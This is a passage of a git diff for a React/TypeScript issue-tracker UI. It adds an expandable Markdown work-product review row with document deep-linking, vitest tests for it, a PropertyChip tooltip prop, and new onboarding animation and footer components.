   ChevronRight,
+  Download,
   ExternalLink,
   FileText,
   GitBranch,
@@ -15,6 +27,7 @@ import {
   Server,
 } from "lucide-react";
 import type { LucideIcon } from "lucide-react";
+import { ApiError } from "@/api/client";
 import { issuesApi } from "@/api/issues";
 import { queryKeys } from "@/lib/queryKeys";
 import { useIssueDocuments } from "@/hooks/useIssueDocuments";
@@ -31,6 +44,10 @@ import { useLocation } from "@/lib/router";
 
 interface IssuePropertiesArtifactsTabProps {
   issue: Issue;
+  documentDeepLink?: {
+    requestId: number;
+    documentKey: string;
+  } | null;
 }
 
 function formatBytes(n: number): string {
@@ -118,14 +135,211 @@ function WorkProductRow({ workProduct }: { workProduct: IssueWorkProduct }) {
   return <div className={ROW_CLASS}>{body}</div>;
 }
 
-function DocumentRow({ issueId, doc }: { issueId: string; doc: IssueDocument }) {
+/**
+ * Work-product row for an eligible Markdown artifact (LOOA-1533 gap): expands
+ * in place into the shipped document review surface backed by the
+ * server-materialized `artifact-review-<workProductId>` issue document instead
+ * of opening the raw attachment. Raw open and download stay as explicit
+ * secondary actions.
+ */
+function MarkdownWorkProductRow({
+  issueId,
+  workProduct,
+  metadata,
+  reviewDoc,
+  openRequestId,
+}: {
+  issueId: string;
+  workProduct: IssueWorkProduct;
+  metadata: AttachmentArtifactWorkProductMetadata;
+  reviewDoc: IssueDocument | undefined;
+  openRequestId?: number;
+}) {
   const [expanded, setExpanded] = useState(false);
   const [annotationPanelOpen, setAnnotationPanelOpen] = useState(false);
+  const headerRef = useRef<HTMLDivElement | null>(null);
   const location = useLocation();
+  const queryClient = useQueryClient();
+  const badge = workProductStatusBadge(workProduct.status);
   const Chevron = expanded ? ChevronDown : ChevronRight;
+  const tooLarge = metadata.byteSize > MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES;
+
+  const ensure = useMutation({
+    mutationFn: () => issuesApi.ensureWorkProductReviewDocument(issueId, workProduct.id),
+    onSuccess: async () => {
+      await queryClient.invalidateQueries({ queryKey: queryKeys.issues.documents(issueId) });
+    },
+  });
+
+  const requestPreview = () => {
+    if (reviewDoc || tooLarge) return;
+    if (ensure.isPending || ensure.isSuccess || ensure.isError) return;
+    ensure.mutate();
+  };
+
+  const handleToggle = () => {
+    setExpanded((open) => {
+      if (!open) requestPreview();
+      return !open;
+    });
+  };
+
+  useEffect(() => {
+    if (openRequestId === undefined) return;
+    setExpanded(true);
+  }, [openRequestId]);
+  useEffect(() => {
+    if (openRequestId === undefined || !expanded) return;
+    headerRef.current?.scrollIntoView({ behavior: "smooth", block: "center" });
+  }, [expanded, openRequestId]);
+  // Deep links land before the user clicks, so the deep-link expansion has to
+  // request materialization the same way a manual expand does.
+  useEffect(() => {
+    if (openRequestId === undefined) return;
+    requestPreview();
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [openRequestId, reviewDoc]);
+
+  const unsupportedError =
+    ensure.error instanceof ApiError && [413, 415, 422].includes(ensure.error.status);
+
+  let expandedBody: React.ReactNode;
+  if (tooLarge) {
+    expandedBody = (
+      <p className="text-sm text-muted-foreground">
+        This Markdown file is too large to preview. Use Raw or Download instead.
+      </p>
+    );
+  } else if (reviewDoc) {
+    expandedBody = reviewDoc.body.trim().length > 0 ? (
+      <IssueDocumentAnnotations
+        issueId={issueId}
+        doc={reviewDoc}
+        bodyMarkdown={reviewDoc.body}
+        draftDirty={false}
+        draftConflicted={false}
+        historicalPreview={false}
+        locationHash={location.hash}
+        panelOpen={annotationPanelOpen}
+        onPanelOpenChange={setAnnotationPanelOpen}
+        panelPlacement="popover"
+      >
+        <MarkdownBody>{reviewDoc.body}</MarkdownBody>
+      </IssueDocumentAnnotations>
+    ) : (
+      <p className="text-sm text-muted-foreground">Document is empty.</p>
+    );
+  } else if (ensure.isError) {
+    expandedBody = (
+      <div className="flex flex-col items-start gap-1.5">
+        <p className="text-sm text-muted-foreground">
+          {unsupportedError
+            ? "This file can't be previewed as Markdown. Use Raw or Download instead."
+            : "Preview failed to load."}
+        </p>
+        {!unsupportedError ? (
+          <button
+            type="button"
+            className="rounded-md border border-border px-2 py-0.5 text-(length:--text-micro) text-muted-foreground hover:bg-accent/50"
+            onClick={() => {
+              ensure.reset();
+              ensure.mutate();
+            }}
+          >
+            Retry
+          </button>
+        ) : null}
+      </div>
+    );
+  } else {
+    expandedBody = <p className="text-sm text-muted-foreground">Preparing preview…</p>;
+  }
+
   return (
     <div className="rounded-md border border-border bg-card/50">
-      <div className="flex items-center hover:bg-accent/50">
+      <div ref={headerRef} className="flex items-center hover:bg-accent/50">
+        <button
+          type="button"
+          onClick={handleToggle}
+          className="flex min-w-0 flex-1 items-center gap-2 px-2.5 py-1.5 text-left text-sm"
+          aria-expanded={expanded}
+        >
+          <FileText className="h-3.5 w-3.5 shrink-0 text-muted-foreground" />
+          <span className="min-w-0 flex-1 truncate">{workProduct.title}</span>
+          {badge ? (
+            <span
+              className="status-chip inline-flex shrink-0 items-center rounded-full border px-1.5 py-0.5 text-(length:--text-nano) leading-none whitespace-nowrap"
+              style={{ "--sc": `var(${badge.cssVar})` } as CSSProperties}
+            >
+              {badge.label}
+            </span>
+          ) : null}
+          {reviewDoc ? (
+            <span className="shrink-0 text-(length:--text-micro) text-muted-foreground">
+              {`Rev ${reviewDoc.latestRevisionNumber ?? 1}`}
+            </span>
+          ) : null}
+          <Chevron className="h-3.5 w-3.5 shrink-0 text-muted-foreground" />
+        </button>
+        {reviewDoc ? (
+          <DocumentAnnotationsCountChip
+            issueId={issueId}
+            docKey={reviewDoc.key}
+            panelOpen={annotationPanelOpen}
+            onToggle={() => setAnnotationPanelOpen((open) => !open)}
+          />
+        ) : null}
+        <a
+          href={metadata.openPath}
+          target="_blank"
+          rel="noreferrer"
+          aria-label={`Open raw ${workProduct.title}`}
+          title="Open raw"
+          className="shrink-0 px-1.5 py-1.5 text-muted-foreground hover:text-foreground"
+        >
+          <ExternalLink className="h-3 w-3" />
+        </a>
+        <a
+          href={metadata.downloadPath}
+          aria-label={`Download ${workProduct.title}`}
+          title="Download"
+          className="shrink-0 py-1.5 pr-2 pl-0.5 text-muted-foreground hover:text-foreground"
+        >
+          <Download className="h-3 w-3" />
+        </a>
+      </div>
+      {expanded ? (
+        <div className="border-t border-border px-2.5 py-2">{expandedBody}</div>
+      ) : null}
+    </div>
+  );
+}
+
+function DocumentRow({
+  issueId,
+  doc,
+  openRequestId,
+}: {
+  issueId: string;
+  doc: IssueDocument;
+  openRequestId?: number;
+}) {
+  const [expanded, setExpanded] = useState(false);
+  const [annotationPanelOpen, setAnnotationPanelOpen] = useState(false);
+  const headerRef = useRef<HTMLDivElement | null>(null);
+  const location = useLocation();
+  const Chevron = expanded ? ChevronDown : ChevronRight;
+  useEffect(() => {
+    if (openRequestId === undefined) return;
+    setExpanded(true);
+  }, [openRequestId]);
+  useEffect(() => {
+    if (openRequestId === undefined || !expanded) return;
+    headerRef.current?.scrollIntoView({ behavior: "smooth", block: "center" });
+  }, [expanded, openRequestId]);
+  return (
+    <div className="rounded-md border border-border bg-card/50">
+      <div ref={headerRef} className="flex items-center hover:bg-accent/50">
         <button
           type="button"
           onClick={() => setExpanded((open) => !open)}
@@ -182,7 +396,7 @@ function DocumentRow({ issueId, doc }: { issueId: string; doc: IssueDocument })
  * user uploads are excluded — those stay first-class in the conversation
  * thread.
  */
-export function IssuePropertiesArtifactsTab({ issue }: IssuePropertiesArtifactsTabProps) {
+export function IssuePropertiesArtifactsTab({ issue, documentDeepLink }: IssuePropertiesArtifactsTabProps) {
   const { data: attachments } = useQuery({
     queryKey: queryKeys.issues.attachments(issue.id),
     queryFn: () => issuesApi.listAttachments(issue.id),
@@ -194,7 +408,10 @@ export function IssuePropertiesArtifactsTab({ issue }: IssuePropertiesArtifactsT
   const { data: documents } = useIssueDocuments(issue.id);
 
   const workProductRows = workProducts ?? [];
-  const documentRows = documents ?? [];
+  // Proxy review documents (`artifact-review-*`) present only through their
+  // originating Work product row, never as standalone Documents rows.
+  const documentRows = (documents ?? []).filter((doc) => !isArtifactReviewDocumentKey(doc.key));
+  const reviewDocsByKey = new Map((documents ?? []).map((doc) => [doc.key, doc]));
   const fileRows = selectAgentArtifactAttachments(attachments, workProducts);
 
   if (workProductRows.length === 0 && documentRows.length === 0 && fileRows.length === 0) {
@@ -211,11 +428,30 @@ export function IssuePropertiesArtifactsTab({ issue }: IssuePropertiesArtifactsT
         <>
           <SectionHeading>Work products</SectionHeading>
           <ul className="flex flex-col gap-1">
-            {workProductRows.map((wp) => (
-              <li key={wp.id}>
-                <WorkProductRow workProduct={wp} />
-              </li>
-            ))}
+            {workProductRows.map((wp) => {
+              const markdownMetadata = getMarkdownWorkProductAttachmentMetadata(wp);
+              if (!markdownMetadata) {
+                return (
+                  <li key={wp.id}>
+                    <WorkProductRow workProduct={wp} />
+                  </li>
+                );
+              }
+              const reviewKey = artifactReviewDocumentKey(wp.id);
+              return (
+                <li key={wp.id}>
+                  <MarkdownWorkProductRow
+                    issueId={issue.id}
+                    workProduct={wp}
+                    metadata={markdownMetadata}
+                    reviewDoc={reviewDocsByKey.get(reviewKey)}
+                    openRequestId={documentDeepLink?.documentKey === reviewKey
+                      ? documentDeepLink.requestId
+                      : undefined}
+                  />
+                </li>
+              );
+            })}
           </ul>
         </>
       ) : null}
@@ -225,7 +461,13 @@ export function IssuePropertiesArtifactsTab({ issue }: IssuePropertiesArtifactsT
           <ul className="flex flex-col gap-1">
             {documentRows.map((doc) => (
               <li key={doc.key}>
-                <DocumentRow issueId={issue.id} doc={doc} />
+                <DocumentRow
+                  issueId={issue.id}
+                  doc={doc}
+                  openRequestId={documentDeepLink?.documentKey === doc.key
+                    ? documentDeepLink.requestId
+                    : undefined}
+                />
               </li>
             ))}
           </ul>
diff --git a/ui/src/components/issue-properties/IssuePropertiesDocumentAnnotations.test.tsx b/ui/src/components/issue-properties/IssuePropertiesDocumentAnnotations.test.tsx
index 6d6f4a0f4cf..25b3235499a 100644
--- a/ui/src/components/issue-properties/IssuePropertiesDocumentAnnotations.test.tsx
+++ b/ui/src/components/issue-properties/IssuePropertiesDocumentAnnotations.test.tsx
@@ -49,6 +49,7 @@ describe("issue properties document annotation mounting", () => {
   beforeEach(() => {
     container = document.createElement("div");
     document.body.appendChild(container);
+    Element.prototype.scrollIntoView = vi.fn();
   });
 
   afterEach(() => {
@@ -74,4 +75,34 @@ describe("issue properties document annotation mounting", () => {
       .toBe("document-1");
     await act(async () => root.unmount());
   });
+
+  it("expands and scrolls the requested document into view", async () => {
+    const root = createRoot(container);
+    await act(async () => root.render(
+      <IssuePropertiesArtifactsTab
+        issue={issue}
+        documentDeepLink={{ documentKey: "qa-evidence", requestId: 1 }}
+      />,
+    ));
+
+    expect(container.querySelector('button[aria-expanded="true"]')).not.toBeNull();
+    expect(container.querySelector('[data-testid="annotation-surface-qa-evidence"]')).not.toBeNull();
+    expect(Element.prototype.scrollIntoView).toHaveBeenCalledWith({ behavior: "smooth", block: "center" });
+    await act(async () => root.unmount());
+  });
+
+  it("does not expand an unrelated document when the requested key is missing", async () => {
+    const root = createRoot(container);
+    await act(async () => root.render(
+      <IssuePropertiesArtifactsTab
+        issue={issue}
+        documentDeepLink={{ documentKey: "deleted-document", requestId: 1 }}
+      />,
+    ));
+
+    expect(container.querySelector('button[aria-expanded="true"]')).toBeNull();
+    expect(container.querySelector('[data-testid="annotation-surface-qa-evidence"]')).toBeNull();
+    expect(Element.prototype.scrollIntoView).not.toHaveBeenCalled();
+    await act(async () => root.unmount());
+  });
 });
diff --git a/ui/src/components/issue-properties/IssuePropertiesMarkdownWorkProduct.test.tsx b/ui/src/components/issue-properties/IssuePropertiesMarkdownWorkProduct.test.tsx
new file mode 100644
index 00000000000..b8c640daf6b
--- /dev/null
+++ b/ui/src/components/issue-properties/IssuePropertiesMarkdownWorkProduct.test.tsx
@@ -0,0 +1,344 @@
+// @vitest-environment jsdom
+
+import { flushSync } from "react-dom";
+import { createRoot, type Root } from "react-dom/client";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import type { Issue, IssueAttachment, IssueDocument, IssueWorkProduct } from "@paperclipai/shared";
+import { artifactReviewDocumentKey } from "@paperclipai/shared";
+import { IssuePropertiesArtifactsTab } from "./IssuePropertiesArtifactsTab";
+import { ApiError } from "@/api/client";
+
+const mockIssuesApi = vi.hoisted(() => ({
+  listAttachments: vi.fn(async (): Promise<unknown[]> => []),
+  listWorkProducts: vi.fn(async (): Promise<unknown[]> => []),
+  ensureWorkProductReviewDocument: vi.fn(async (): Promise<unknown> => ({})),
+}));
+vi.mock("@/api/issues", () => ({ issuesApi: mockIssuesApi }));
+
+const mockUseIssueDocuments = vi.hoisted(() =>
+  vi.fn((): { data: IssueDocument[] } => ({ data: [] })),
+);
+vi.mock("@/hooks/useIssueDocuments", () => ({ useIssueDocuments: mockUseIssueDocuments }));
+vi.mock("@/lib/router", () => ({ useLocation: () => ({ hash: "" }) }));
+vi.mock("@/components/MarkdownBody", () => ({
+  MarkdownBody: ({ children }: { children: string }) => (
+    <div data-testid="markdown-body">{children}</div>
+  ),
+}));
+vi.mock("@/components/IssueDocumentAnnotations", () => ({
+  DocumentAnnotationsCountChip: ({ docKey }: { docKey: string }) => (
+    <span data-testid={`annotation-count-${docKey}`} />
+  ),
+  IssueDocumentAnnotations: ({ doc, children }: { doc: IssueDocument; children: React.ReactNode }) => (
+    <div data-testid={`annotation-surface-${doc.key}`} data-document-id={doc.id}>{children}</div>
+  ),
+}));
+
+const ATTACHMENT_ID = "00000000-0000-4000-8000-000000000001";
+const WORK_PRODUCT_ID = "11111111-1111-4111-8111-111111111111";
+const REVIEW_KEY = artifactReviewDocumentKey(WORK_PRODUCT_ID);
+
+const issue = { id: "issue-1", identifier: "PAP-1534", workMode: "standard" } as Issue;
+
+function makeMarkdownWorkProduct(overrides: Partial<IssueWorkProduct> = {}): IssueWorkProduct {
+  const contentPath = `/api/attachments/${ATTACHMENT_ID}/content`;
+  return {
+    id: WORK_PRODUCT_ID,
+    companyId: "company-1",
+    projectId: null,
+    issueId: "issue-1",
+    executionWorkspaceId: null,
+    runtimeServiceId: null,
+    type: "artifact",
+    provider: "paperclip",
+    externalId: null,
+    title: "Verification report",
+    url: null,
+    status: "ready_for_review",
+    reviewState: "none",
+    isPrimary: false,
+    healthStatus: "unknown",
+    summary: null,
+    metadata: {
+      attachmentId: ATTACHMENT_ID,
+      contentType: "text/markdown",
+      byteSize: 64,
+      contentPath,
+      openPath: contentPath,
+      downloadPath: `${contentPath}?download=1`,
+      originalFilename: "report.md",
+    },
+    createdByRunId: null,
+    createdAt: new Date("2026-08-01T12:00:00Z"),
+    updatedAt: new Date("2026-08-01T12:00:00Z"),
+    ...overrides,
+  } as IssueWorkProduct;
+}
+
+function makeReviewDocument(overrides: Partial<IssueDocument> = {}): IssueDocument {
+  return {
+    id: "document-1",
+    companyId: "company-1",
+    issueId: "issue-1",
+    key: REVIEW_KEY,
+    title: "Verification report",
+    format: "markdown",
+    body: "# Report\n\nRendered body",
+    latestRevisionId: "revision-1",
+    latestRevisionNumber: 1,
+    createdByAgentId: null,
+    createdByUserId: null,
+    updatedByAgentId: null,
+    updatedByUserId: null,
+    lockedAt: null,
+    lockedByAgentId: null,
+    lockedByUserId: null,
+    createdAt: new Date("2026-08-01T12:00:00Z"),
+    updatedAt: new Date("2026-08-01T12:00:00Z"),
+    ...overrides,
+  } as IssueDocument;
+}
+
+function makeMarkdownAttachment(): IssueAttachment {
+  return {
+    id: ATTACHMENT_ID,
+    companyId: "company-1",
+    issueId: "issue-1",
+    issueCommentId: null,
+    assetId: "asset-1",
+    provider: "local",
+    objectKey: `objects/${ATTACHMENT_ID}`,
+    contentType: "text/markdown",
+    byteSize: 64,
+    sha256: "0".repeat(64),
+    originalFilename: "report.md",
+    createdByAgentId: "agent-1",
+    createdByUserId: null,
+    createdAt: new Date("2026-08-01T12:00:00Z"),
+    updatedAt: new Date("2026-08-01T12:00:00Z"),
+    contentPath: `/api/attachments/${ATTACHMENT_ID}/content`,
+  } as IssueAttachment;
+}
+
+async function act(callback: () => void | Promise<void>) {
+  let result: void | Promise<void> = undefined;
+  flushSync(() => {
+    result = callback();
+  });
+  await result;
+}
+
+async function flush() {
+  await act(async () => {
+    await new Promise((resolve) => setTimeout(resolve, 0));
+  });
+}
+
+async function waitForAssertion(assertion: () => void, attempts = 20) {
+  let lastError: unknown;
+  for (let attempt = 0; attempt < attempts; attempt += 1) {
+    try {
+      assertion();
+      return;
+    } catch (error) {
+      lastError = error;
+      await flush();
+    }
+  }
+  throw lastError;
+}
+
+describe("markdown work product review row", () => {
+  let container: HTMLDivElement;
+  let root: Root | null = null;
+
+  beforeEach(() => {
+    vi.clearAllMocks();
+    container = document.createElement("div");
+    document.body.appendChild(container);
+    Element.prototype.scrollIntoView = vi.fn();
+    mockIssuesApi.listAttachments.mockResolvedValue([]);
+    mockIssuesApi.listWorkProducts.mockResolvedValue([makeMarkdownWorkProduct()]);
+    mockUseIssueDocuments.mockReturnValue({ data: [] });
+  });
+
+  afterEach(async () => {
+    if (root) {
+      const currentRoot = root;
+      await act(async () => currentRoot.unmount());
+      root = null;
+    }
+    container.remove();
+  });
+
+  async function renderTab(props: { documentDeepLink?: { requestId: number; documentKey: string } | null } = {}) {
+    const queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+    });
+    root = createRoot(container);
+    const currentRoot = root;
+    await act(async () =>
+      currentRoot.render(
+        <QueryClientProvider client={queryClient}>
+          <IssuePropertiesArtifactsTab issue={issue} {...props} />
+        </QueryClientProvider>,
+      ),
+    );
+    await waitForAssertion(() => {
+      expect(container.textContent).toContain("Verification report");
+    });
+  }
+
+  function expandButton() {
+    return container.querySelector('button[aria-expanded]') as HTMLButtonElement;
+  }
+
+  it("renders an expandable row with explicit raw and download actions", async () => {
+    await renderTab();
+
+    expect(expandButton().textContent).toContain("Verification report");
+    const raw = container.querySelector('a[title="Open raw"]') as HTMLAnchorElement;
+    const download = container.querySelector('a[title="Download"]') as HTMLAnchorElement;
+    expect(raw?.getAttribute("href")).toBe(`/api/attachments/${ATTACHMENT_ID}/content`);
+    expect(raw?.getAttribute("target")).toBe("_blank");
+    expect(download?.getAttribute("href")).toBe(`/api/attachments/${ATTACHMENT_ID}/content?download=1`);
+  });
+
+  it("expands into the existing document surface without a server call when the document exists", async () => {
+    mockUseIssueDocuments.mockReturnValue({ data: [makeReviewDocument()] });
+    await renderTab();
+
+    // The proxy document maps onto the work-product row instead of a
+    // standalone Documents row.
+    expect(container.textContent).not.toContain("Documents");
+    expect(container.querySelector(`[data-testid="annotation-count-${REVIEW_KEY}"]`)).not.toBeNull();
+
+    await act(async () => expandButton().click());
+    expect(
+      container.querySelector(`[data-testid="annotation-surface-${REVIEW_KEY}"]`)?.getAttribute("data-document-id"),
+    ).toBe("document-1");
+    expect(container.querySelector('[data-testid="markdown-body"]')?.textContent).toContain("Rendered body");
+    expect(mockIssuesApi.ensureWorkProductReviewDocument).not.toHaveBeenCalled();
+  });
+
+  it("materializes the document on first expand", async () => {
+    mockIssuesApi.ensureWorkProductReviewDocument.mockResolvedValue(makeReviewDocument());
+    await renderTab();
+
+    await act(async () => expandButton().click());
+    expect(container.textContent).toContain("Preparing preview…");
+    await waitForAssertion(() => {
+      expect(mockIssuesApi.ensureWorkProductReviewDocument).toHaveBeenCalledWith("issue-1", WORK_PRODUCT_ID);
+    });
+    expect(mockIssuesApi.ensureWorkProductReviewDocument).toHaveBeenCalledTimes(1);
+  });
+
+  it("shows an unsupported state without retry for typed rejections", async () => {
+    mockIssuesApi.ensureWorkProductReviewDocument.mockRejectedValue(
+      new ApiError("Work product attachment is not Markdown", 415, {}),
+    );
+    await renderTab();
+
+    await act(async () => expandButton().click());
+    await waitForAssertion(() => {
+      expect(container.textContent).toContain("can't be previewed as Markdown");
+    });
+    expect(container.textContent).not.toContain("Retry");
+  });
+
+  it("offers an explicit retry for recoverable errors", async () => {
+    mockIssuesApi.ensureWorkProductReviewDocument.mockRejectedValue(
+      new ApiError("Internal error", 500, {}),
+    );
+    await renderTab();
+
+    await act(async () => expandButton().click());
+    await waitForAssertion(() => {
+      expect(container.textContent).toContain("Preview failed to load.");
+    });
+
+    const retry = Array.from(container.querySelectorAll("button")).find(
+      (button) => button.textContent === "Retry",
+    );
+    expect(retry).toBeDefined();
+    await act(async () => retry?.click());
+    await waitForAssertion(() => {
+      expect(mockIssuesApi.ensureWorkProductReviewDocument).toHaveBeenCalledTimes(2);
+    });
+  });
+
+  it("marks oversized markdown as too large without calling the server", async () => {
+    mockIssuesApi.listWorkProducts.mockResolvedValue([
+      makeMarkdownWorkProduct({
+        metadata: {
+          ...(makeMarkdownWorkProduct().metadata as Record<string, unknown>),
+          byteSize: 512 * 1024 + 1,
+        },
+      }),
+    ]);
+    await renderTab();
+
+    await act(async () => expandButton().click());
+    expect(container.textContent).toContain("too large to preview");
+    expect(mockIssuesApi.ensureWorkProductReviewDocument).not.toHaveBeenCalled();
+  });
+
+  it("expands from a document deep link and requests materialization", async () => {
+    mockIssuesApi.ensureWorkProductReviewDocument.mockResolvedValue(makeReviewDocument());
+    await renderTab({ documentDeepLink: { documentKey: REVIEW_KEY, requestId: 1 } });
+
+    await waitForAssertion(() => {
+      expect(container.querySelector('button[aria-expanded="true"]')).not.toBeNull();
+      expect(mockIssuesApi.ensureWorkProductReviewDocument).toHaveBeenCalledTimes(1);
+      expect(Element.prototype.scrollIntoView).toHaveBeenCalledWith({ behavior: "smooth", block: "center" });
+    });
+  });
+
+  it("hides the promoted markdown attachment from Files but keeps loose attachments", async () => {
+    const loose = {
+      ...makeMarkdownAttachment(),
+      id: "22222222-2222-4222-8222-222222222222",
+      originalFilename: "loose-notes.md",
+      contentPath: "/api/attachments/22222222-2222-4222-8222-222222222222/content",
+    };
+    mockIssuesApi.listAttachments.mockResolvedValue([makeMarkdownAttachment(), loose]);
+    await renderTab();
+
+    await waitForAssertion(() => {
+      expect(container.textContent).toContain("loose-notes.md");
+    });
+    expect(container.textContent).not.toContain("report.md");
+    const looseLink = Array.from(container.querySelectorAll("a")).find(
+      (anchor) => anchor.textContent?.includes("loose-notes.md"),
+    );
+    expect(looseLink?.getAttribute("href")).toBe("/api/attachments/22222222-2222-4222-8222-222222222222/content");
+  });
+
+  it("keeps non-markdown work products on the raw link row", async () => {
+    const contentPath = `/api/attachments/${ATTACHMENT_ID}/content`;
+    mockIssuesApi.listWorkProducts.mockResolvedValue([
+      makeMarkdownWorkProduct({
+        metadata: {
+          attachmentId: ATTACHMENT_ID,
+          contentType: "application/pdf",
+          byteSize: 64,
+          contentPath,
+          openPath: contentPath,
+          downloadPath: `${contentPath}?download=1`,
+          originalFilename: "report.pdf",
+        },
+      }),
+    ]);
+    await renderTab();
+
+    await waitForAssertion(() => {
+      const row = Array.from(container.querySelectorAll("a")).find(
+        (anchor) => anchor.textContent?.includes("Verification report"),
+      );
+      expect(row?.getAttribute("href")).toBe(contentPath);
+      expect(row?.getAttribute("target")).toBe("_blank");
+    });
+    expect(container.querySelector("button[aria-expanded]")).toBeNull();
+  });
+});
diff --git a/ui/src/components/issue-properties/IssuePropertiesPlansTab.tsx b/ui/src/components/issue-properties/IssuePropertiesPlansTab.tsx
index 1a5f90ea4c1..b3458fbaa41 100644
--- a/ui/src/components/issue-properties/IssuePropertiesPlansTab.tsx
+++ b/ui/src/components/issue-properties/IssuePropertiesPlansTab.tsx
@@ -1,6 +1,7 @@
 import { useState } from "react";
 import { useQuery } from "@tanstack/react-query";
 import type { Issue, IssueDocument, IssueThreadInteraction } from "@paperclipai/shared";
+import { isArtifactReviewDocumentKey } from "@paperclipai/shared";
 import { issuesApi } from "@/api/issues";
 import { queryKeys } from "@/lib/queryKeys";
 import { IssuePlanDecompositionsSection } from "@/components/IssuePlanDecompositionsSection";
@@ -92,8 +93,11 @@ export function IssuePropertiesPlansTab({ issue }: IssuePropertiesPlansTabProps)
   const hasPlans = (data?.length ?? 0) > 0;
   const pendingPlanConfirmation = hasPendingPlanConfirmation(interactions);
   // Every other non-system document (e.g. `synthesis`) renders below the plan;
-  // the `plan` doc itself stays on its dedicated annotated surface above.
-  const otherDocuments = (documents ?? []).filter((doc) => doc.key !== "plan");
+  // the `plan` doc itself stays on its dedicated annotated surface above, and
+  // proxy `artifact-review-*` documents surface only through their Work product.
+  const otherDocuments = (documents ?? []).filter(
+    (doc) => doc.key !== "plan" && !isArtifactReviewDocumentKey(doc.key),
+  );
 
   if (!planDocument && !hasPlans && otherDocuments.length === 0) {
     return (
diff --git a/ui/src/components/issue-properties/index.ts b/ui/src/components/issue-properties/index.ts
index 5a908312a91..c4f8a37f78e 100644
--- a/ui/src/components/issue-properties/index.ts
+++ b/ui/src/components/issue-properties/index.ts
@@ -1,4 +1,4 @@
-export { IssueProperties } from "./IssueProperties";
+export { IssueProperties, type IssuePropertiesDocumentDeepLink } from "./IssueProperties";
 export { ExternalObjectRows } from "./external-object-rows";
 export { PropertyPicker } from "./property-picker";
 export { PropertyChip, PropertyRow, PropertySection } from "./primitives";
diff --git a/ui/src/components/issue-properties/primitives.tsx b/ui/src/components/issue-properties/primitives.tsx
index d2fcb942238..aaf057016e8 100644
--- a/ui/src/components/issue-properties/primitives.tsx
+++ b/ui/src/components/issue-properties/primitives.tsx
@@ -69,10 +69,13 @@ export function PropertyChip({
   children,
   className,
   style,
+  title,
 }: {
   children: ReactNode;
   className?: string;
   style?: CSSProperties;
+  /** Tooltip override for chips whose children are not a bare string. */
+  title?: string;
 }) {
   return (
     <Badge
@@ -80,7 +83,7 @@ export function PropertyChip({
       // Badge chassis; keep this chip's truncation + normal weight + start alignment.
       className={cn("max-w-full min-w-0 justify-start truncate font-normal", className)}
       style={style}
-      title={typeof children === "string" ? children : undefined}
+      title={title ?? (typeof children === "string" ? children : undefined)}
     >
       {children}
     </Badge>
diff --git a/ui/src/components/onboarding/AgentPreview.tsx b/ui/src/components/onboarding/AgentPreview.tsx
new file mode 100644
index 00000000000..7a624b8c50a
--- /dev/null
+++ b/ui/src/components/onboarding/AgentPreview.tsx
@@ -0,0 +1,46 @@
+import { motion } from "motion/react";
+import { PREVIEW_REVEAL_DURATION, STEP_EASE } from "./onboarding-motion";
+
+/**
+ * Name/role preview under the capsule. Collapsed to zero height until an
+ * identity exists, so the step opens compact; on selection the block grows to
+ * full height — the centered card re-centers each frame, so the capsule slides
+ * up into place — while the labels fade in without moving. Slide and fade share
+ * one duration; the fade starts after 25% of it. Both lines keep fixed heights
+ * once visible, so typing a name afterwards never shifts the layout again.
+ */
+export function AgentPreview({
+  agentName,
+  agentRole,
+}: {
+  agentName: string;
+  agentRole: string;
+}) {
+  const previewVisible = Boolean(agentName || agentRole);
+  return (
+    <motion.div
+      className="overflow-hidden"
+      initial={false}
+      animate={{ height: previewVisible ? "auto" : 0 }}
+      transition={{ duration: PREVIEW_REVEAL_DURATION, ease: STEP_EASE }}
+    >
+      <motion.div
+        className="mt-1 flex flex-col items-center gap-1"
+        initial={false}
+        animate={{ opacity: previewVisible ? 1 : 0 }}
+        transition={{
+          duration: PREVIEW_REVEAL_DURATION,
+          ease: STEP_EASE,
+          delay: previewVisible ? PREVIEW_REVEAL_DURATION * 0.25 : 0,
+        }}
+      >
+        <span className="flex h-6 items-center text-base font-semibold tracking-tight text-foreground">
+          {agentName || " "}
+        </span>
+        <span className="flex h-4 items-center text-xs text-muted-foreground">
+          {agentRole || " "}
+        </span>
+      </motion.div>
+    </motion.div>
+  );
+}
diff --git a/ui/src/components/onboarding/FooterNav.tsx b/ui/src/components/onboarding/FooterNav.tsx
new file mode 100644
index 00000000000..2636d714e3c
--- /dev/null
+++ b/ui/src/components/onboarding/FooterNav.tsx
@@ -0,0 +1,57 @@
+import { ArrowLeft, ArrowRight, Loader2 } from "lucide-react";
+import { Button } from "../ui/button";
+
+/**
+ * Shared footer for the arc's step cards: a ghost pill "Back" and a primary
+ * pill CTA that shows a spinner and a loading label while its action runs.
+ *
+ * `onBack` is optional — a run that entered on this step has nowhere behind it
+ * to return to, and an inert Back button reads as a dead control rather than a
+ * boundary.
+ */
+export function FooterNav({
+  onBack,
+  primaryLabel,
+  primaryDisabled,
+  loading,
+  loadingLabel,
+  onPrimary,
+}: {
+  onBack?: () => void;
+  primaryLabel: string;
+  primaryDisabled?: boolean;
+  loading?: boolean;
+  loadingLabel?: string;
+  onPrimary: () => void;
+}) {
+  return (
+    <div className="flex items-center justify-between pt-6">
+      {onBack ? (
+        // has-[>svg]:pr-4 gives "Back" room from the pill's right edge,
+        // overriding size="sm"'s symmetric padding on that side only.
+        <Button
+          variant="ghost"
+          size="sm"
+          className="rounded-full has-[>svg]:pr-4"
+          onClick={onBack}
+          disabled={loading}
+        >
+          <ArrowLeft className="mr-1 size-3.5" />
+          Back
+        </Button>
+      ) : (
+        <span />
+      )}
+      <Button
+        size="lg"
+        className="rounded-full px-6"
+        onClick={onPrimary}
+        disabled={primaryDisabled || loading}
+      >
+        {loading ? <Loader2 className="mr-1 size-4 animate-spin" /> : null}
+        {loading && loadingLabel ? loadingLabel : primaryLabel}
+        {!loading ? <ArrowRight className="ml-1 size-3.5" /> : null}
+      </Button>
+    </div>
+  );
+}
diff --git a/ui/src/components/onboarding/OnboardingPrimitives.tsx b/ui/src/components/onboarding/OnboardingPrimitives.tsx
new file mode 100644
index 00000000000..da3b997c199
--- /dev/null
+++ b/ui/src/components/onboarding/OnboardingPrimitives.tsx
@@ -0,0 +1,45 @@
+// Presentational primitives for the onboarding wizard's agent arc, ported from
+// the onboarding prototype onto the repo's design tokens. No backend logic
